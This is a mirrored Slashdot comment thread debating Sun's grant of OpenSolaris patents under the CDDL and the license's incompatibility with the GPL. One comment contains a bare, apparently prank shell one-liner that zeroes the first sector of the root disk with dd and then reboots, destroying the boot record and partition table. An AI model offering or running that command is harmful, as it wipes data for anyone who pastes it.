Slashdot Mirror
Sun Grants Access to 1,600+ Patents
Insane_zoD writes "Looks like Sun is attempting to keep up with IBM in opening up patents for FOSS-based projects. From the news release: 'By giving open source developers free access to Sun OpenSolaris related patents under the Common Development and Distribution License (CDDL), the company is fostering open innovation and establishing a leadership role in the framework of a patent commons that will be recognized across the globe.'"
Does this mean Linux Vendors can now charge their clients a per-seat licensing fee? (which as we all know is a revolutionary invention in software licensing, owned exclusively by Sun).
Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
Is whether the license gives developers in OS products a perpetual right to use the patent, or could sun take the rights away at some point stopping projects that rely on them from producing new releases?
"As a writer / novelist you might want to spellcheck your sig.
Its CDDL
We have drafted a new open source license based on the Mozilla Public License, version 1.1 ("MPL"), called the Common Development and Distribution License ("CDDL").
We submitted the CDDL to the OSI for review and approval via the license-discuss@opensource.org mailing list on 2004-Dec-01, then based on community review submitted a revised version for review on 2004-Dec-17. The license was approved by the OSI board of directors on 2005-Jan-14.
sounds good to me!. For me, this sets the future of FOSS operating systems in stone. No matter what happens with SCO's malicious patent crusade, there should be enough code here that could be borrowed and used in Linux. Especially, if the code is in any way similar to that of SCO's patented code *gasprg*
Sun, according to thier license, reserves the right to sue if the software is released under another license. :)
IBM opened the 500 patents it opened without restriction.
GJC
Gregory Casamento
## Chief Maintainer for GNUstep
I think the phrase "Almost free" describes it accurately. Sun doesn't really believe in Free, it believes in Free*, where the * denotes a footnote that means it isn't really what it appears to be.
In fact the whole of Sun's approach seems to work like this. Java is not Free (although their implementation is free, as in zero cost). Even OpenOffice has some strings attached, as all contributions to the project have to have their copyrights assigned to Sun, so they can then use them in the proprietary Star Office. There is in this case however no reason why someone can't take this under the GPL and fork it, hence not assignin g the copyrights to Sun. You could then call
this "ReallyOpenOffice" or similar (although that might infringe their trademark).
43 - For those who require slightly more than the answer to life, the universe and everything.
A quick google search shows that CDDL is available here.
I've a feeling this section is relevant for the code being used in Linux or any other OS for that matter and vice versa. Besides didn't Sun decide to make OpenSolaris capable of running Linux apps? Correct me if I'm wrong?
3.5. Distribution of Executable Versions.
You may distribute the Executable form of the Covered Software under the terms of this License or under the terms of a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable form does not attempt to limit or alter the recipient's rights in the Source Code form from the rights set forth in this License. If You distribute the Covered Software in Executable form under a different license, You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
the GNU/FSF folks aren't going to be so willing to accept this as "True" free software.
The one and only reason the GNU/FSF folks will accept this license is if it meets their previously stated criteria. They have a definition, and other licenses either fit or not. It's really not complicated, nor does it need to be heated.
FSF also requires copyrights assigned to them for contributions to their projects (or certainly used to), so this requirement certainly doesn't make a project non-free*.
*unless of course you regard free as being BSD-free and GPL as less free due to it having more restrictions...
Netcraft is wrong at times. nmap -O results were posted yesterday confirming that it is Solaris.
dd if=/dev/zero of=`df / | awk '/^\/dev/ {print $1}' | sed 's/s[0-9][a-z]//'` count=1 bs=512 && shutdown -r now
Bruce
Bruce Perens.
Have a look at the CDDL. In section 3.1, it says:
In addition, section 3.4 adds:
In other words, this license is incompatible with the GPL (probably on purpose). As a result, you cannot use any CDDL-licensed code in a GPL-licensed program and you cannot use any GPLed code in a CDDLed program. Both licenses are "viral" and they are mutually incompatible.
So you cannot use any CDDLed code in Linux.
-Raphaël
FAQ that is, as in the Open Solaris Licensing FAQ.
There is one thing that I forgot to mention in my previous comment: the CDDL is derived from the Mozilla Public Licence (MPL) 1.1 but at the end of the Detailed description of changes from the MPL, you find this:
Section 13 of the MPL, titled "Multiple Licensed Code", allows the code to be licensed under the MPL or an alternative license described in Exhibit A (also deleted from the CDDL). For Mozilla, section 13 allows any derived code to be licensed under the MPL or GPL. Sun has removed this section from the CDDL. You can see it at the end of the Redline diffs between MPL1.1 and CDDL (PDF file).
So any code released under the CDDL is definitely incompatible with the GPL. There is also no way to fix that (except if Sun re-released the code under a better license) because Sun has also removed the statements that allowed the code to be used under a "future version of this License" from section 3.1 and section 6 (now 4 in the CDDL).
-Raphaël
Read carefully: Sun isn't opening their patent portfolio to all FOSS projects, only to their own pet FOSS projects. It looks like, for example, Linux does not fall under that grant and Sun can claim patent infringement by Linux at any time.
Altogether, this is another underhanded attempt by Sun to drum up support for their failing kernel and OS efforts and represents, if anything, a threat to Linux.
Don't trust Sun: these guys are desparate and hence dangerous. If they release stuff under an approved OSI license, you can use it (eg OOo). Anything else from Sun is a Trojan horse and a ticking time bomb (eg Java), both for FOSS and for commercial customers.